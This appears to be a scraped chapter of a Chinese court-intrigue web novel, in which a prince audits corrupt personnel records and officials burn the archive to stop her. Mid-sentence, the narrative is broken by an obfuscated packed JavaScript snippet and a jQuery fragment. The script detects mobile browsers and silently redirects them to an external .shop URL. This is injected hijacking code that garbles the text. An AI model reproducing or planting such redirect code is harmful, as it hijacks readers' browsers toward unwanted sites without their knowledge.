来了,卫明昭看着今日送来的档案,嘴角微微勾起。
今日的档案显然和往常不同,半个月了,王度果然出手了。
王度此人有些手段,他虽善于钻营,但能成为吏部尚书,也是靠着屡立功绩。
自幽帝起,朝廷冗官现象就越发严重,吏治腐败,赏罚不公,权贵豪族子弟为官者所占比例越发重。
当今皇帝显然是有想要改变这个状态的想法,年前提拔了寒门出身的王度为吏部尚书。
王度到任这半年,也确实改变了不少。
这半个月来看档案,能明显看出自王度上任后,档案清晰,官员提拔皆凭功绩,公平了不少。
可仅仅这个程度,是无法令皇帝满意的。
但想要让皇帝满意,光凭王度一个人还不够,王度无论如何八面玲珑,终究只是寒门出身,资历太浅,朝中根基不稳。
有些人王度动不得,所以皇帝派他来了,一为历练,二为皇帝解忧。
卫明昭翻着眼前送来的这些旧档。
宝宁28年,裁撤各地府军官吏976人,可这如今976人仍显示在编,饷银照领,去向不明。
这一堆档案实在混乱,同一个官员,考功司和文选司之间的履历竟然能差三年。
还有这一堆,真是老当益壮,一群80多的人了还在为国尽忠,就是不知这群人如今是死是活。
卫明昭越往下翻越触目惊心,她知道这个国家病了,但没想到已经病得如此严重。
官吏是皇帝与百姓之间的桥梁,桥梁不稳,国如何能安。
这些问题必须要解决,但如今的局势容不得大刀阔斧的去改动。
卫明闭目沉思,良久睁开眼,心中有了想法。
三日后,大朝会。
“诸君可还有何事要奏?”
“陛下,臣有奏。”卫明昭站了出来。
卫长易看见是卫明昭,提起了兴致,饶有兴趣地看着他:“谨王有何事要奏?”
“臣近日浏览吏部旧档,发现不少年近80的大臣还在为国效力,臣感慨他们的忠义,却也为其身体而担忧。”
“他们为国出力几十年,臣觉得该让他们摆脱案牍琐事,安享晚年,臣提议,三品以下官员,凡满60者,当致仕。”
不待其他官员反驳,皇帝直接开口:“谨王仁厚,准其奏,王度这件事交给你来办。”
“臣领旨。”王度领命。
“退朝。”皇帝起身离开,众位大臣也转身离殿。
“陛下想要整顿吏治,谨王没有急于立功,大动干戈,先来一招投石问路,确实不错。”
梁墉对于卫明昭越发欣赏,一下朝就对他今天的行为开口称赞。
“父亲,殿下干了什么?”一旁的梁钰开口询问。
“谨王以体恤老臣为名提议,三品以下官员,凡满60者当致仕。”
“谨王察制度之漏,不先定官员之罪,给那些人留了脸面,他们若识趣,就该借此收手,若不收手,下一步就该是迎接雷霆之怒了。”
“那父亲可要提醒一声那些世叔?”梁铨问道。
梁家百年贵族,自家虽看不上这些小利,可姻亲众多,少不了有几家不懂事。
“不用,都是一群老狐狸了,心里头都明白,若舍不得那份利,我提之又有何用。”
“谨王如今势起,如今可以在他身上多投一些砝码,子盛你知会一声,让梁家的那些旧友门生,给谨王行个方便。”
“是,父亲。”梁铖道。
朝会结束后,有不少知趣的大臣不等王度出手,查清名单,就上书致仕。
但也有一些人还在观望。
前几日朝会上的提议,只是一个开胃菜,卫明昭可没想着就此就停止。
“拜见陛下。”卫明昭来到乾元殿。
“不用多礼,坐吧。”
“谢陛下。”卫明昭坐到一旁。
“谨王今日来找朕是有何事?”
“臣在吏部观政,本不该妄言,可这段时间查阅档案,却发现一些国之蠹虫,在蛀空朝廷根基,臣不敢隐瞒,特来上报陛下。”卫明昭说着,小心地上了一本奏疏。
卫长易打开奏疏,心中一惊,这些官员比他想的还要贪婪。
“谨王觉得该如何处理?”
“臣不敢断言吏部官员有私,但必定存在漏洞,臣请清查近十年的旧档。”
“清查近十年的旧档,这可不是个轻松的活,谨王想好了?”
“为国效命,明昭甘愿。”
“好,那就交给你来办,但切记不得扰民,不要株连甚广,重点查冒功、空饷、资历造假这三点。”
“臣请从翰林院调一批人,辅助臣清查旧档。”
“准。”
卫明昭一离开就去了翰林院。
翰林院虽说清贵,可那也只是上面那一部分,下面的和刚入翰林的人可是清贫的很。
要清查旧档,那就不能全用吏部的人,要引入外力。
翰林院就是个极好的选择。
卫明昭一见到翰林院掌院,就拿出了一份名单递了过去:“奉陛下旨意,本王要抽调这些人。”
卫明昭早在要清查档案之前,就已经提前选好了人,列好了名单。
她选的大多都是一些刚入翰林院的人,这些人大多都还没有找靠山,还有一些翰林院的老人,这些老人不善钻营,没有谋个好职位,一直呆着没挪窝。
名单上的人和朝廷权贵牵扯不深,又有一定的能力,还有上进的野心,让他们来查档案,这些人会用心的。
掌院很快就把这些人带了过来。
卫明昭扫视了一眼这些人:“本王信赖诸君的才华,特地向陛下请旨,调诸位到吏部,这段时间就要劳烦诸位了。”
“多谢大王赏识,我等必当尽力。”众人齐声。
“那诸位就随我走吧。”
卫明昭带着人一到吏部,就立马调取了司务处文簿档案。
左侍郎邓伏听到这个消息,匆匆赶来。
“殿下,这些陈年旧档藏在库房深处,难免潮湿霉变,不好查阅,不如我先派人整理一番,再交殿下清查。”
“既然霉变,那更须抢救,本王出银子,请工匠连夜修复。”
卫明昭并不担心,笑着走到他面前,拍了拍邓伏的肩膀。
“这库房好像是邓侍郎来管理,我知道大人清廉,不过这档案关乎国家根基,邓侍郎也不要不舍得修啊。”
说完,将他伸手推开,打开了库门。
进入库房,卫明昭随手打开了一本,看着那好好的档案,轻笑一声。
“确实是有点霉气,不过倒没有邓大人说的那么严重,过两天我让人搬出去晒晒就好了,邓大人,你说呢?”
“殿下说的是。”一旁的邓伏只能顺坡下驴,咬着牙陪着笑脸。
“既然如此,那邓大人就去忙吧,本王要带人清档了。”
“下官告退。”邓伏一转身,脸上笑意消失。
“大人,邓侍郎在谨王那里吃了瘪。”王度一派的人急匆匆来传达这个消息。
“这才刚开始,邓伏就如此沉不住气,看来他没少掺和。”
王度轻蔑一笑,就邓伏这手段,还想给他使绊子,此人不足为虑。
“殿下既然要清查档案,那让我们的人暗中帮一把,顺便帮我除掉几颗碍眼的钉子。”
“唯。”
卫明昭清查吏部档案这一手,触动了不少人敏感的神经。
深夜,清查了一天档案的卫明昭刚回到王府。
刚迈入王府,卫明昭正打算去找郁秀,鹤十一就过来低声禀告:“殿下,广元伯在客厅等着。”
“我知道了。”卫明昭转步去了客厅。
“拜见殿下。”一个中年男子看见卫明昭进来,笑着迎上去行了个礼。
“广元伯无须多礼,深夜来访不知所为何事?”
“听闻殿下正在清查吏部旧档。”
“确有此事,广元伯可是有何见教?”
“我也算是殿下的长辈,听闻此事,冒昧开口劝一句,殿下刚入朝,可能不知朝中水深,这些陈年旧账可牵扯着不少朝廷文武大臣,有时候糊涂账还是糊里糊涂办为好,殿下觉得呢?”广元伯韩识道。
广元伯的曾祖父是简帝的舅舅,广元伯按辈分也算是卫明昭的表叔。
卫明昭面不改色:“我倒是想听表叔的劝,可有些账糊涂不了,本王只能依律来办。”
“殿下真的不能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17832939|206507||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
网开一面,若今日高抬贵手,来日……”韩识话未说尽,但意思已经很明确。
只要卫明昭网开一面,来日登顶皇位之路可助其一臂之力。
卫明昭不为所动:“明昭深受陛下信赖,自当秉公处理,今夜已晚,广元伯请回吧。”
“你……哼——”韩识听到他如此不是好歹,气得挥袖离开。
此后几天,也有人陆续来找卫明昭,请她在档案上松松手,可她油盐不进。
随着档案不断被清查,一些有牵扯的人开始坐不住了。
“不能再耗下去了,卫明昭这家伙竟如此不留情面,那我们也要先下手为强。”
“伯爷打算如何做?”
广元伯韩识目光阴狠:“他想查,那就让他没东西可查。”
“殿下您要的档案。”
“放这儿吧,看你头上出的汗,先坐着歇会儿。”卫明昭对着他招呼了一声。
这小吏也没推辞,找了个地方坐下,感受着冰鉴传来的凉气,只觉浑身舒爽。
“还是殿下这凉快,这鬼天气,热的人难受,听说前两日南郊有人放在院里的柴火就直接燃了起来,好大一场火,整个家都被烧没了,不过万幸人没事。”
“这天确实热。”卫明昭从腰间拿出一个金珠,弹到小吏怀中,“一会儿去买点冰镇的酸梅汤,给部中的兄弟解解暑,剩下的赏你了。”
小吏开心地拿起金珠:“谢大王赏,小的这就去给兄弟们买酸梅汤去。”
卫明昭望着小吏离开的背影,轻笑一声。
王度这是怕我阴沟里翻船呀,还派人来提醒我,不过,那些人也确实该忍不住了。
就这样平静无波的又过了几日。
“天干物燥,小心火烛。”
“着火了,快来救火!”
吏部存放档案的屋子,劈里啪啦的响着,大火将屋内的档案一一吞噬。
“殿下,殿下不好了,档案被烧了。”吏部传信的人来到了王府。
“你说什么?”卫明昭不可置信地拽住他。
“档……档案被烧了。”传信人颤颤巍巍。
卫明昭一脸愤怒来到吏部。
看着眼前已经被熄灭、一片焦黑还冒着热烟的房屋,卫明昭再不复往日的温和守礼。
“你们都是干什么吃的?这怎么就烧着了?”
“殿下恕罪,殿下恕罪。”
“滚。”
“大人,那档案已经全部被烧了。”
“埋伏的不错。”邓伏拍了拍眼前的青年,“子录干得很好,下次本大人就提拔你为主事。”
陈记满脸谦卑:“是大人教的好,子录先多谢大人提拔。”
“哈哈哈,那卫明昭如此嚣张,不留情面,现在肯定要气死了,明日本大人就参他一本。”
邓伏一脸得意,陈记在一旁陪着笑。
第二日在早朝上,就有多名官员联名参了卫明昭。
皇帝没有当庭斥责,只是冷着脸,下朝后将他叫到了乾元殿。
“哈哈哈,伯爷果然厉害,听说那谨王是苦着一张脸从乾元殿出来的,肯定被陛下骂惨了。”
“那小子乳臭未干,还敢插手这事,现在估计躲在王府里面哭呢,这次有他好受了。”韩识听着一旁官员的话,很是得意。
接下来一段时间,因着库房着火一事,清档一事暂时搁置,翰林院那些借调的官吏也被还了回去。
自从乾元殿出来后,卫明昭没有再去吏部,一直窝在王府,京中人传谨王这是嫌丢脸了,没脸再去。
夜晚,谨王府。
“拜见大王。”
“子录到了,快坐。”卫明昭笑着将他扶起,神情松快,一点都不像犯了错的人。
“大王,邓伏的交易册,我已经知道在哪了,不过防守较严,我没办法偷出来,只能请殿下出手了。”陈记将自己画的所藏地地图递了过去。
“真是多亏你了子录,此事结束后,本王必定保举你为一郡太守。”卫明昭扫了一眼地图,便高兴地拍了拍他的肩膀出声保证。
“多谢大王栽培,记必定鞠躬尽瘁,以报大王提拔。”陈记激动的拱手行礼。
此次过后,他陈记再也不是邓伏身边一条被呼来喝去的走狗。